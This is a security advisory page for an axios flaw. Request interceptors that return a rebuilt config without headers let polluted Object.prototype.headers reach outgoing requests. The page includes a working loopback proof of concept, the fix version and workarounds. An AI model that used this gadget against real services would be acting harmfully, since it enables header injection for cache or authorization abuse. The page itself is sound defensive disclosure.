Skip to content

GHSA-j8rh-479h-cp32 CVE-2026-101904

Axios: Header Injection via Inherited headers After Minimal Interceptor

Medium npm
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.49%
Chance of exploitation in the next 30 days. Higher than 42.05% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1321 Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Fix
1.20.0
Upgrade axios to this version or later

Description

Summary

Axios request interceptors may return a replacement config object. If an interceptor returns a plain object without an own headers property, dispatchRequest() later evaluates config.headers and can resolve an inherited Object.prototype.headers value. In a process where another vulnerability has polluted Object.prototype.headers, axios can send attacker-controlled headers.

Axios does not create the prototype pollution source, and the interceptor itself is trusted caller code. The vulnerable behavior is the post-interceptor axios config read that reopens a prototype-pollution gadget after earlier null-prototype config hardening.

Impact

An attacker with a prior same-process prototype-pollution primitive can inject headers into affected axios requests when the application uses an interceptor that rebuilds config and omits headers. Depending on the target service, injected headers can affect cache behavior, conditional requests, metadata services, or application-specific authorization and routing logic.

The issue is conditional and should not be described as affecting every interceptor or every request.

Affected Functionality

Affected:

  • Request interceptor chains where an interceptor returns a new ordinary object.
  • Replacement config objects that omit an own headers property.
  • dispatchRequest() header normalization through AxiosHeaders.from(config.headers).

Not affected:

  • Requests whose interceptor preserves an own headers property.
  • Interceptors that mutate and return the existing null-prototype config.
  • Processes without prototype pollution.

Technical Details

lib/core/dispatchRequest.js contains:

config.headers = AxiosHeaders.from(config.headers);

The initial merged config is null-prototype, but an interceptor can replace it with a normal object. If that object has no own headers, the read can resolve Object.prototype.headers.

Local verification on axios 1.18.1 polluted Object.prototype.headers = { 'X-Poisoned': 'yes' }, installed an interceptor that returned { url, method, timeout, proxy: false }, and sent a request. The loopback server received X-Poisoned: yes.

Proof of Concept of Attack

Constrained local demonstration:

Object.prototype.headers = { 'X-Poisoned': 'yes' };

const client = axios.create();
client.interceptors.request.use((config) => ({
  url: config.url,
  method: config.method,
  timeout: config.timeout
}));

await client.get(url);

Expected safe behavior is that missing headers normalize to an empty header set. Current affected behavior reads inherited Object.prototype.headers.

Workarounds

Interceptors that rebuild config should always set an own headers property, for example by preserving config.headers or setting headers: {}. Mutating and returning the existing merged config also avoids replacing the null-prototype object.

<details> <summary><h3>Original report</h3></summary>

Summary

Axios 1.17.0 blocks the old Object.prototype.common header bucket gadget. However, if a request interceptor rebuilds a minimal config object and omits headers, dispatchRequest() reads inherited Object.prototype.headers.

This allows attacker-controlled headers to be placed on the wire.

Affected Version

Validated on:

  • axios: 1.17.0
  • commit: 4306df2
  • runtime: Node.js v24.15.0

Preconditions

  • A separate prototype-pollution primitive can write an object to Object.prototype.headers.
  • A request interceptor rebuilds config and omits own headers.

Root Cause

dispatchRequest() uses:

config.headers = AxiosHeaders.from(config.headers);

If config is a normal object returned by an interceptor and lacks own headers, this reads Object.prototype.headers.

Impact

An attacker can inject request headers. Depending on the target service, this can cause cache manipulation, conditional-response suppression, request smuggling preconditions, metadata-service header injection, or application-specific authorization bypass.

Proof of Concept

import axios from './index.js';
import http from 'http';

const start = (handler) => new Promise((resolve) => {
  const server = http.createServer(handler);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const stop = (server) => new Promise((resolve) => server.close(resolve));

const hits = [];

const server = await start((req, res) => {
  hits.push(req.headers);
  res.setHeader('Content-Type', 'application/json');
  res.end('{"ok":true}');
});

try {
  Object.prototype.headers = {
    'X-Poisoned': 'yes',
    'If-None-Match': '*'
  };

  const client = axios.create();
  client.interceptors.request.use((config) => ({
    url: config.url,
    method: config.method,
    timeout: config.timeout
  }));

  await client.get(`http://127.0.0.1:${server.address().port}/headers`, {
    timeout: 3000
  });

  console.log(hits[0]);
} finally {
  delete Object.prototype.headers;
  await stop(server);
}

Observed wire headers:

{
  "x-poisoned": "yes",
  "if-none-match": "*",
  "user-agent": "axios/1.17.0"
}

References

</details> ---

Affected versions

npm

PackageVulnerableFixed in
axios
>= 1.0.0, < 1.20.0
1.20.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

axios npm → 1.20.0

npm
npm install axios@1.20.0
yarn
yarn add axios@1.20.0
pnpm
pnpm add axios@1.20.0

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
Low
Integrity (subsequent systems)
High
Availability (subsequent systems)
None

Weakness

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

How to prevent it
  • Implementation: By freezing the object prototype first (for example, Object.freeze(Object.prototype)), modification of the prototype becomes impossible.
  • Architecture and Design: By blocking modifications of attributes that resolve to object prototype, such as proto or prototype, this weakness can be mitigated.
  • Implementation: When handling untrusted objects, validating using a schema can be used.
  • Implementation: By using an object without prototypes (via Object.create(null) ), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.
  • Implementation: Map can be used instead of objects in most cases. If Map methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

The product constructs all or part of a command, data structure, or record using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify how it is parsed or interpreted when it is sent to a downstream component.

How to prevent it
  • Requirements: Programming languages and supporting technologies might be chosen which are not subject to these issues.
  • Implementation: Utilize an appropriate mix of allowlist and denylist parsing to filter control-plane syntax from all input.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-44g4-m2mj-wpvx
Axios: CIDR-form NO_PROXY entries are ignored, causing proxy exclusion bypass for internal IP ranges
Medium Also affects axios
GHSA-x97p-jq2g-jp4f
Axios: Prototype Pollution Gadget in axios toFormData Options
High Also affects axios
GHSA-vh66-26gq-q6x8
Axios: Prototype pollution gadget in fetch adapter can alter outbound requests
Medium Also affects axios
GHSA-r4gj-5m52-g5wh
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
High Also affects axios
GHSA-mghh-pgcx-3jjj
Axios: ReDoS (O(N²)) in shouldBypassProxy host normalization, reachable via untrusted redirect Location
High Also affects axios
GHSA-m8m8-qj5v-23w3
Axios: Node HTTP adapter prototype-pollution gadget allows request socket hijack via inherited createConnection
High Also affects axios
GHSA-c29m-xwm3-cm6r
Axios: ReDoS in fromDataURI data: URL parser freezes the Node event loop (DoS)
High Also affects axios
GHSA-9fr6-4gfg-395g
Axios: Prototype-Pollution Gadget in the Default Instance Allows Inherited Object.prototype.method to Override HTTP Method
Medium Also affects axios
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor